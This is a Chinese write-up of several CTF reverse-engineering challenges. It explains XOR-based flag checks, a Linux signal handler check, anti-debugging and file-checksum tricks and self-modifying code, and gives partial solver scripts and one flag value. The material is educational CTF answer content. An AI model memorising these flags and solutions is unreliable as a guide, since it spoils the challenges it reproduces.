- 在Linux下用GDB动态调试主程序, 因为很简单所以不是很难. 这也是本题当初的目的.
装载data.dat的步骤发生在main函数执行之前. 读附带的源代码可以明白原理.
校验函数及其简单, 仅仅是将密文的每一位和0xCC异或.
python脚本:
1 | secret = [0x9B,0xFF,0xA0,0xAF,0xFC,0xA1,0xA9,0xFE,0x80,0xA5,0xA2,0xB9,0xB4] |
壶中的大银河
Description:
你知道Linux的signal机制么?
这次是Easy级的, 根本没有难度嘛.
File: Galaxy.zip
WriteUp:
有人吐槽之前LCTF出现了这个名字…实际上这个题目就是它的超简化版本(所以是Easy嘛).
听起来很迷, 实际上仅仅是Linux Signal而已.
首先程序在通过signal函数将校验函数和alarm信号关联起来. 然后正常的进行输入.
得到用户输入后调用alarm(1). 该函数会在延迟1秒后生成alarm信号. 随后校验函数被调用.
(Google Linux signal即可详细了解…)
校验函数仍然不是很难, 在程序中被命名为handler. 用户输入被保存在全局变量中, 校验函数从中读取输入.
输入要求长度为20. 然后对输入进行一次循环.
- 偶数位(i = 0, 2, 4…):
input[i] = input[i] ^ 0x9
- 奇数位(i = 1, 3, 5…):
input[i] = input[i] ^ input[0]
计算后和正确字串进行比较, 若不相等则将一个全局变量置为0(否则为1). main函数根据该标志输出结果语句.
python脚本:
1 | secret = "8BVXznh]z^VXdAfC}PgE" |
蓬莱的玉枝
Description:
一样的GUI.
有本事不拆使魔强行过呀(雾).
File: rand.zip
WriteUp:
仍然是win API的GUI. 实际上除了校验部分和EasyGUI是一个图形界面…(图形界面长什么样无所谓嘛)
在全局变量处保存了两个值seek和password, 均用于校验输入.
在程序运行初始化时:
- 计算程序文件的校验和, 如果文件被修改, 则校验和不相等, 修改全局变量中的seek.
在校验函数执行前后:
- 检测程序是否被调试器调试(仅仅使用了一个简单的API进行测试), 若没有被调试则将全局变量password的每一位和0x5异或.否则和0x9异或.
除去这两步, 剩下的方法和EasyGUI基本没有区别.
检验函数是使用rand生成一串序列, rand的种子数即为seek.
之后将password和rand序列按位异或(都是异或233). 计算后和输入进行比对.
得到flag思路: password ^ 0x5 -> password ^ rand(seek = 17) -> flag
C脚本:
1 | //Flag: |
永遠の春夢
Description:
**
看似杂乱的没有通路…仔细观察下就会发现其实很简单呢~
PS: 这次有FB了哦~
Hint: SMC - Self Modify Code. 注意.text段的属性哦~
File: 123.zip
WriteUp:
典型的SMC(self modify code)程序.
具体的函数运行方式读源代码即可了解(已附在wp内).
程序是在编译后手动进行的首次加密…可以写个脚本, 或者IDA Script, 也可以更暴力的直接用WinHex(内置了XOR Edit).
简单来说, 程序在获取用户输入后会解密两块代码, 这两块代码分别对输入进行处理和检验.
有趣的是, 在处理输入后, 程序会立即再次将代码块加密回去. 而且两个代码块是交替解密的 – 也就是说没法dump内存.
对于这个程序, 因为逻辑简单, 所以定位了要解密的代码块的地址和长度以及使用的key后, 直接IDA Script(或者其他手段)将代码块全部还原.
然后F5大法即可. 需要注意的是, 处理加解密的函数F5没法第一次就正确分析…或许直接读汇编就可以了(也可以修正F5的结果).
这个里简单说一下校验:
- 对于密文字串secret:
secret[i] = (secret[i] + 0x30) % 0xFF
- 对于输入pd:
pd[i] = 0xFF & (((pd[i] << 4) & 0xFF) | ((pd[i] >> 4) & 0x0F))
(交换高低位) - 最后对pd和secret进行校验:
pd[i] ^ 0x55 == secret[i]
python脚本:
1 | secret = [97, 49, 223, 1, 178, 48, 81, 49, 112, 147, 50, 112, 210, 162, 51, 147, 225, 210, 226, 23, 82] |
RE60
Description:考验你re基本功的时候到啦~
File:re60.3111C1CAF04BADB492CC8CC37F61218B740B4818
WriteUp:
拿到文件先用file查看
IDA打开发现在main函数中的两个字符串
发现判断程序是否成功逻辑的函数
接着进一步查看下去,很容易发现关键算法就是字符串的逐位异或问题;HexStra就是我们的执行完异或算法的结果。
将上面两个字符串逐位异或即可得到flag:
AB7E032568F1084CD8C78B7650AE30BF
;